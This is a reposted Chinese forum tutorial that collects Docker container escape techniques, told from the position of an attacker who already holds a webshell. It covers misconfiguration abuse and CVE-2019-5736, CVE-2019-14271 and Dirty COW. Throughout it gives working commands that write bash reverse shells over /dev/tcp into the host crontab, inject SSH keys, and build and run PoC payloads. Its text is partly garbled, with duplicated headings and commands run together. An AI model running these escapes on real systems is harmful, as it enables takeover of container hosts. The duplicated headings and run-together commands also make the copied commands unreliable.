搜索

[1009] 2020-08-03_技术干货Docker容器逃逸案例汇集

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-16
2020-08-03_技术干货Docker容器逃逸案例汇集 技 术 干 货   |   D o c k e r   容 器 逃 逸 案 例 汇 集 原 创   B y p a s s   B y p a s s   2 0 2 0 - 0 8 - 0 3 当 获 得 一 个 W e b s h e l l ， 我 们 的 攻 击 点 可 能 处 于 服 务 器 的 一 个 虚 拟 目 录 里 ， 一 台 虚 拟 机 或 是 一 台 物 理 机 ， 甚 至 是 在 一 个 D o c k e r 容 器 里 。 假 设 ， W e b s h e l l 就 处 于 D o c k e r 容 器 里 ， 该 如 何 破 局 ， 进 一 步 获 取 目 标 主 机 权 限 呢 ？ D o c k e r   容 器 逃 逸 案 例 ： 1 、 判 断 是 否 处 于 d o c k e r 容 器 里 2 、 配 置 不 当 引 起 的 逃 逸 D o c k e r   R e m o t e   A P I   未 授 权 访 问 d o c k e r . s o c k   挂 载 到 容 器 内 部 d o c k e r   高 危 启 动 参 数 p r i v i l e g e d   特 权 模 式 挂 载 敏 感 目 录 相 关 启 动 参 数 存 在 的 安 全 问 题 3 、 D o c k e r   软 件 设 计 引 起 的 逃 逸 S h o c k e r 攻 击 r u n C 容 器 逃 逸 漏 洞 ( C V E - 2 0 1 9 - 5 7 3 6 ) D o c k e r   c p   命 令 ( C V E - 2 0 1 9 - 1 4 2 7 1 ) 4 、 内 核 漏 洞 引 起 的 逃 逸 脏 牛 漏 洞 （ d i r t y c o w - d o c k e r - v d s o ） 一 、 判 断 是 否 在 一 、 判 断 是 否 在 d o c k e r 容 器 里 容 器 里 首 先 ， 我 们 需 要 先 判 断 是 否 在 d o c k e r 环 境 里 ， 常 用 的 两 个 检 测 方 式 ： 目 前 来 说 ， 这 两 种 检 测 方 式 还 是 比 较 有 效 的 ， 其 他 检 测 方 式 ， 如 检 测 m o u n t 、 f d i s k   - l 查 看 硬 盘   、 判 断 P I D   1 的 进 程 名 等 也 可 用 来 辅 助 判 断 。 二 、 配 置 不 当 引 发 的 二 、 配 置 不 当 引 发 的 d o c k e r 逃 逸 逃 逸 检 查 / . d o c k e r e n v 文 件 是 否 存 在 检 查 / p r o c / 1 / c g r o u p 内 是 否 包 含 " d o c k e r " 等 字 符 串 。
2 . 1     d o c k e r   r e m o t e   a p i 未 授 权 访 问 未 授 权 访 问 漏 洞 简 述 ： d o c k e r   r e m o t e   a p i 可 以 执 行 d o c k e r 命 令 ， d o c k e r 守 护 进 程 监 听 在 0 . 0 . 0 . 0 ， 可 直 接 调 用 A P I 来 操 作 d o c k e r 。 通 过 d o c k e r   d a e m o n   a p i   执 行 d o c k e r 命 令 。 漏 洞 利 用 ： 1 、 新 运 行 一 个 容 器 ， 挂 载 点 设 置 为 服 务 器 的 根 目 录 挂 载 至 / m n t 目 录 下 。 2 、 在 容 器 内 执 行 命 令 ， 将 反 弹 s h e l l 的 脚 本 写 入 到 / v a r / s p o o l / c r o n / r o o t 3 、 本 地 监 听 端 口 ， 获 取 对 方 宿 主 机 s h e l l 。 2 . 2   d o c k e r . s o c k 挂 载 到 容 器 内 部 挂 载 到 容 器 内 部 场 景 描 述 ： 简 单 来 说 就 是 d o c k e r   i n   d o c k e r ， 在 d o c k e r 容 器 中 调 用 和 执 行 宿 主 机 的 d o c k e r ， 将 d o c k e r 宿 主 机 的 d o c k e r 文 件 和 d o c k e r . s o c k 文 件 挂 载 到 容 器 中 ， 具 体 为 ： 漏 洞 测 试 ： 1 、 在 容 器 中 找 到 d o c k e r . s o c k 2 、 在 容 器 查 看 宿 主 机 d o c k e r 信 息 ： 3 、 运 行 一 个 新 容 器 并 挂 载 宿 主 机 根 路 径 ： s u d o   d o c k e r d   - H   u n i x : / / / v a r / r u n / d o c k e r . s o c k   - H   0 . 0 . 0 . 0 : 2 3 7 5 # 列 出 容 器 信 息 ， 效 果 与 d o c k e r   p s 一 致 。 c u r l   h t t p : / / < t a r g e t > : 2 3 7 5 / c o n t a i n e r s / j s o n # 启 动 容 器 d o c k e r   - H   t c p : / / < t a r g e t > : 2 3 7 5   p s   - a s u d o   d o c k e r   - H   t c p : / / 1 0 . 1 . 1 . 2 1 1 : 2 3 7 5   r u n   - i t   - v   / : / m n t   n g i n x : l a t e s t   / b i n / b a s h e c h o   ' *   *   *   *   *   / b i n / b a s h   - i   > &   / d e v / t c p / 1 0 . 1 . 1 . 2 1 4 / 1 2 3 4 5   0 > & 1 '   > >   / m n t / v a r / s p o o l / c r o n / c r o n t a b s / r o o t d o c k e r   r u n   - - r m   - i t       - v   / v a r / r u n / d o c k e r . s o c k : / v a r / r u n / d o c k e r . s o c k       - v   / u s r / b i n / d o c k e r : / u s r / b i n / d o c k e r       u b u n t u       / b i n / b a s h r o o t @ 9 5 a 2 8 0 b c 5 a 1 9 : / #   f i n d   /   - n a m e   d o c k e r . s o c k / r u n / d o c k e r . s o c k d o c k e r   - H   u n i x : / / / v a r / r u n / d o c k e r . s o c k   i n f o d o c k e r   - H   u n i x : / / / v a r / r u n / d o c k e r . s o c k   r u n   - i t   - v   / : / t e s t   u b u n t u   / b i n / b a s h
4 、 在 新 容 器 的 / t e s t   目 录 下 ， 就 可 以 访 问 到 宿 主 机 的 全 部 资 源 ， 接 下 来 就 是 写 入 s s h 密 钥 或 者 写 入 计 划 任 务 ， 获 取 s h e l l 。 2 . 3   d o c k e r   高 危 启 动 参 数 高 危 启 动 参 数 d o c k e r 中 存 在 一 些 比 较 高 危 的 启 动 命 令 ， 给 予 容 器 较 大 的 权 限 ， 允 许 执 行 一 些 特 权 操 作 ， 在 一 定 的 条 件 下 ， 可 以 导 致 容 器 逃 逸 。 特 权 模 式 （ 特 权 模 式 （ — p r i v i l e g e d ） ） 使 用 特 权 模 式 启 动 的 容 器 时 ， d o c k e r 管 理 员 可 通 过 m o u n t 命 令 将 外 部 宿 主 机 磁 盘 设 备 挂 载 进 容 器 内 部 ， 获 取 对 整 个 宿 主 机 的 文 件 读 写 权 限 ， 此 外 还 可 以 通 过 写 入 计 划 任 务 等 方 式 在 宿 主 机 执 行 命 令 。 漏 洞 测 试 ： A 、 通 过 特 权 模 式 运 行 一 个 容 器 ： B 、 在 容 器 内 ， 查 看 磁 盘 文 件 l s   - a l   / t e s t d o c k e r   r u n   - - r m   - i t           - - p r i v i l e g e d           - v   / : / s o f t           - - c a p - a d d = S Y S _ A D M I N           - - n e t = h o s t             - - p i d = h o s t                 - - i p c = h o s t           u b u n t u           / b i n / b a s h s u d o   d o c k e r   r u n   - i t d   - - p r i v i l e g e d   u b u n t u : l a t e s t   / b i n / b a s h f d i s k   - l
C 、 将 / d e v / s d a 1   挂 载 到 新 建 目 录 D 、 将 计 划 任 务 写 入 到 宿 主 机 E 、 开 启 n c 监 听 ， 成 功 获 取 宿 主 机 反 弹 回 来 的 s h e l l 。 挂 载 敏 感 目 录 （ 挂 载 敏 感 目 录 （ - v   / : / s o f t ） ） 漏 洞 测 试 ： 1 、 将 宿 主 机 r o o t 目 录 挂 载 到 容 器 2 、 模 拟 攻 击 者 写 入 s s h 密 钥 3 、 利 用 私 钥 成 功 登 录 。 获 取 宿 主 机 权 限 。 m k d i r   / t e s t m o u n t   / d e v / s d a 1   / t e s t e c h o   ' *   *   *   *   *   / b i n / b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 7 2 . 1 3 6 / 1 2 3 4 5   0 > & 1 '   > >   / t e s t / v a r / s p o o l / c r o n / c r o n t a b s / r o o t d o c k e r   r u n   - i t d   - v   / r o o t : / r o o t   u b u n t u : 1 8 . 0 4   / b i n / b a s h m k d i r   / r o o t / . s s h c a t   i d _ r s a . p u b   > >   / r o o t / . s s h / a u t h o r i z e d _ k e y s
相 关 启 动 参 数 存 在 的 安 全 问 题 ： 相 关 启 动 参 数 存 在 的 安 全 问 题 ： D o c k e r   通 过 L i n u x   n a m e s p a c e 实 现 6 项 资 源 隔 离 ， 包 括 主 机 名 、 用 户 权 限 、 文 件 系 统 、 网 络 、 进 程 号 、 进 程 间 通 讯 。 但 部 分 启 动 参 数 授 予 容 器 权 限 较 大 的 权 限 ， 从 而 打 破 了 资 源 隔 离 的 界 限 。 三 、 三 、 D o c k e r   软 件 设 计 引 起 的 逃 逸 软 件 设 计 引 起 的 逃 逸 3 . 1   S h o c k e r   攻 击 攻 击 在 容 器 逃 逸 案 例 中 ， 最 为 著 名 的 是 s h o c k e r 攻 击 ， 其 通 过 调 用 o p e n _ b y _ h a n d l e _ a t 函 数 对 宿 主 机 文 件 系 统 进 行 暴 力 扫 描 ， 以 获 取 宿 主 机 的 目 标 文 件 内 容 。 由 于 D o c k e r 1 . 0 之 前 版 本 对 容 器 能 力 （ C a p a b i l i t y ） 使 用 黑 名 单 策 略 进 行 管 理 ， 并 没 有 限 制 C A P _ D A C _ R E A D _ S E A R C H 能 力 ， 赋 予 了 s h o c k e r . c 程 序 调 用 o p e n _ b y _ h a n d l e _ a t 函 数 的 能 力 ， 导 致 容 器 逃 逸 的 发 生 。 漏 洞 影 响 版 本 ： D o c k e r 版 本 <   1 . 0 ，   存 在 于   D o c k e r   1 . 0   之 前 的 绝 大 多 数 版 本 。 g i t h u b 项 目 地 址 ： - - c a p - a d d = S Y S _ A D M I N     启 动 时 ， 允 许 执 行 m o u n t 特 权 操 作 ， 需 获 得 资 源 挂 载 进 行 利 用 。 - - n e t = h o s t                       启 动 时 ， 绕 过 N e t w o r k   N a m e s p a c e - - p i d = h o s t                             启 动 时 ， 绕 过 P I D   N a m e s p a c e - - i p c = h o s t                             启 动 时 ， 绕 过 I P C   N a m e s p a c e h t t p s : / / g i t h u b . c o m / g a b r t v / s h o c k e r
3 . 2   r u n C 容 器 逃 逸 漏 洞 （ 容 器 逃 逸 漏 洞 （ C V E - 2 0 1 9 - 5 7 3 6 ） ） 漏 洞 简 述 ： D o c k e r   1 8 . 0 9 . 2 之 前 的 版 本 中 使 用 了 的 r u n c 版 本 小 于 1 . 0 - r c 6 ， 因 此 允 许 攻 击 者 重 写 宿 主 机 上 的 r u n c   二 进 制 文 件 ， 攻 击 者 可 以 在 宿 主 机 上 以 r o o t 身 份 执 行 命 令 。 利 用 条 件 ： D o c k e r 版 本   <   1 8 . 0 9 . 2 ， r u n c 版 本 <   1 . 0 - r c 6 ， 一 般 情 况 下 ， 可 通 过   d o c k e r   和 d o c k e r - r u n c   查 看 当 前 版 本 情 况 。 漏 洞 测 试 ： 1 、 测 试 环 境 镜 像 下 载 安 装 ： c u r l   h t t p s : / / g i s t . g i t h u b u s e r c o n t e n t . c o m / t h i n k y c x / e 2 c 9 0 9 0 f 0 3 5 d 7 b 0 9 1 5 6 0 7 7 9 0 3 d 6 a f a 5 1 / r a w   - o   i n s t a l l . s h   & &   b a s h   i n s t a l l . s h
2 、 下 载 P O C ， 修 改 脚 本 ， 编 译 3 、 模 仿 攻 击 者 ， 在 容 器 中 执 行 p a y l o a d 4 、 假 设 ， 管 理 员 通 过 e x e c 进 入 容 器 ， 从 而 触 发 P a y l o a d 。 5 、 在 1 9 2 . 1 6 8 . 1 7 2 . 1 3 6 上 监 听 本 地 端 口 ， 成 功 获 取 宿 主 机 反 弹 回 来 的 s h e l l 。 下 载 p o c g i t   c l o n e   h t t p s : / / g i t h u b . c o m / F r i c h e t t e n / C V E - 2 0 1 9 - 5 7 3 6 - P o C # 修 改 P a y l o a d v i   m a i n . g o p a y l o a d   =   " # ! / b i n / b a s h   n   b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 7 2 . 1 3 6 / 1 2 3 4   0 > & 1 " 编 译 生 成 p a y l o a d C G O _ E N A B L E D = 0   G O O S = l i n u x   G O A R C H = a m d 6 4   g o   b u i l d   m a i n . g o 拷 贝 到 d o c k e r 容 器 中 执 行   s u d o   d o c k e r   c p   . / m a i n   2 4 8 f 8 b 7 d 3 c 4 5 : / t m p #   进 入 容 器 s u d o   d o c k e r   e x e c   - i t   2 4 8 f 8 b 7 d 3 c 4 5   / b i n / b a s h #   修 改 权 限 c h m o d   7 7 7   m a i n #   执 行 P a y l o a d . / m a i n s u d o   d o c k e r   e x e c   - i t     c a f a 2 0 c f b 0 f 9   / b i n / s h
3 . 3   D o c k e r   c p 命 令 可 导 致 容 器 逃 逸 攻 击 漏 洞 （ 命 令 可 导 致 容 器 逃 逸 攻 击 漏 洞 （ C V E - 2 0 1 9 - 1 4 2 7 1 ） ） 漏 洞 描 述 ： 当 D o c k e r 宿 主 机 使 用 c p 命 令 时 ， 会 调 用 辅 助 进 程 d o c k e r - t a r ， 该 进 程 没 有 被 容 器 化 ， 且 会 在 运 行 时 动 态 加 载 一 些 l i b n s s * . s o 库 。 黑 客 可 以 通 过 在 容 器 中 替 换 l i b n s s * . s o 等 库 ， 将 代 码 注 入 到 d o c k e r - t a r 中 。 当 D o c k e r 用 户 尝 试 从 容 器 中 拷 贝 文 件 时 将 会 执 行 恶 意 代 码 ， 成 功 实 现 D o c k e r 逃 逸 ， 获 得 宿 主 机 r o o t 权 限 。 影 响 版 本 ： D o c k e r   1 9 . 0 3 . 0 安 全 版 本 ： 升 级 至 安 全 版 本   D o c k e r   1 9 . 0 3 . 1 及 以 上 。 四 、 内 核 漏 洞 引 起 的 逃 逸 四 、 内 核 漏 洞 引 起 的 逃 逸 4 . 1   利 用 利 用 D i r t y C o w 漏 洞 实 现 漏 洞 实 现 D o c k e r 逃 逸 逃 逸 漏 洞 简 述 ： D i r t y   C o w （ C V E - 2 0 1 6 - 5 1 9 5 ） 是 L i n u x 内 核 中 的 权 限 提 升 漏 洞 ， 通 过 它 可 实 现 D o c k e r 容 器 逃 逸 ， 获 得 r o o t 权 限 的 s h e l l 。 漏 洞 测 试 ： 1 、 环 境 准 备 ： d o c k e r 与 宿 主 机 共 享 内 核 ， 因 此 我 们 需 要 存 在 d i r t y C o w 漏 洞 的 宿 主 机 镜 像 。 这 里 ， 我 们 使 用 u b u n t u - 1 4 . 0 4 . 5 来 复 现 。 2 、 测 试 容 器 下 载 并 运 行 ： g i t   c l o n e   h t t p s : / / g i t h u b . c o m / g e b l / d i r t y c o w - d o c k e r - v d s o . g i t
3 、 进 入 容 器 ， 编 译 P O C 并 执 行 : 4 、 在 1 9 2 . 1 6 8 . 1 7 2 . 1 3 6 监 听 本 地 端 口 ， 成 功 接 收 到 宿 主 机 反 弹 的 s h e l l 。 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / g e b l / d i r t y c o w - d o c k e r - v d s o . g i t c d   d i r t y c o w - d o c k e r - v d s o / s u d o   d o c k e r - c o m p o s e   r u n   d i r t y c o w   / b i n / b a s h c d   / d i r t y c o w - v d s o / m a k e . / 0 x d e a d b e e f   1 9 2 . 1 6 8 . 1 7 2 . 1 3 6 : 1 2 3 4
加 入 我 的 知 识 星 球 ， 获 取 更 多 安 全 干 货 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理